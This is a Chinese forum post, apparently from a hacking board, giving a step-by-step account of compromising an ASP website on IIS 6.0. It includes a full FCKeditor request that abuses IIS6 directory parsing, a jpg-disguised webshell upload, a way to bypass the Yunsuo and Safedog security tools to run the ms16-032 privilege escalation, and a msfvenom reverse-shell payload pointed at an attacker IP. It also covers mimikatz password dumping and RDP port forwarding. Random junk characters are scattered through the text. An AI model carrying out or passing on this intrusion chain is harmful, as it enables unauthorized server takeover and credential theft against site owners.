! Q( v, X# z; b+ q3 g9 M | }/ f9 [* e, _# x
& u# ^ P' Y* N2 S
' e: j% C, U7 `$ L
一、 利用getwebshell篇
: \$ ?3 V: f& z% P
1 F6 t) N4 J5 X: w3 \% n, j
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
5 W. }0 x. C% n5 V
c1 `7 r. z. p# \$ L# [. s( Z. B
) m) u+ X( T% p N5 R下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
0 x1 a/ H4 c7 @8 }6 B' T5 K. [" U) h, ~
5 y1 V- ^& A* b
下面我们构造一个asp目录，如： " j- {6 q/ _. H y
9 t8 ~7 H5 {3 s7 L; A' `" @
* _- {" }) {& s
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 % [1 L, S+ l+ R
. M) i1 p4 C( T+ ^4 T+ ^2 q
9 `6 _, {. {) `( X3 I' K 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
# t+ e. q' P% H. u" L. w
- }* f" ?+ Z, P, p' y0 ]2 m一、 绕过安全狗云锁提权并且加账号
3 \" U, o' r0 O* w3 U2 V9 h) b
6 g: ~, f% A$ [4 ?8 Z! {5 v
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
2 c7 p: n1 S) z
6 m% p* }" F! m6 K! _1 s$ G- j3 T" k如图：
6 A3 B* q* y) z& l# \/ r$ H6 b
8 _3 J1 m3 D6 G, d3 C7 I
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
E: T- Y6 v, Z7 D
: w& _) i" |4 ^0 Y
一、 利用metasploit
" H) W- f# Z" x8 K `
I3 X, q7 b0 B1 c% g* x
首先用pentestbox生成一个64位的payload如下命令
9 x" x- ^; P. j3 T9 f
5 m3 c& _& h$ L& T% b& h& ?msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
1 W; ^# \$ Q0 B. `" P" T8 e
2 a; T. d! V m: K2 a为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
4 k! {- V( x8 `) ], B7 Z
* T1 {( v& ~* R; k: A- k4 D
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
5 T; c! i/ D: s2 w
: U' e, s# y z下面我们来做一个监听如下命令：
% r7 G8 L' i7 H' N2 t) b
2 Q, j7 Y; z8 l9 W4 _portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
: R0 i8 G9 ^: G6 y+ u
- r7 T9 U6 P1 y6 n1 O+ X" a7 A
, j, }* [6 Q' R9 F3 Q | $ Q% e3 X6 R- f; ]
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06